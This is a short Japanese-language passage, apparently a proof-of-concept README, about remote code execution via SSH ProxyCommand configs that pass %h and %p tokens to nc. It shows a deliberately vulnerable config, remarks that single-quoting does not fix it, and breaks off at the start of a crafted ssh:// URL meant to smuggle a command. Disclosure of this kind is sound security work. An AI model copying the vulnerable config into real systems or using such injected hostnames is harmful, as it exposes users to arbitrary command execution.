poc-proxycommand-vulnerable

安全でない /.ssh/config による RCE ProxyCommand における %h や %p のようなトークンの使用は、SSH を使用したトンネルや接続プロキシで非常に一般的です。 脆弱な設定 host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 注意: 私の初期評価では、'%h' シングルクォート を使用すれば回避できると思っていましたが、次のような場合でも脆弱なままのようです: url = ssh://'open...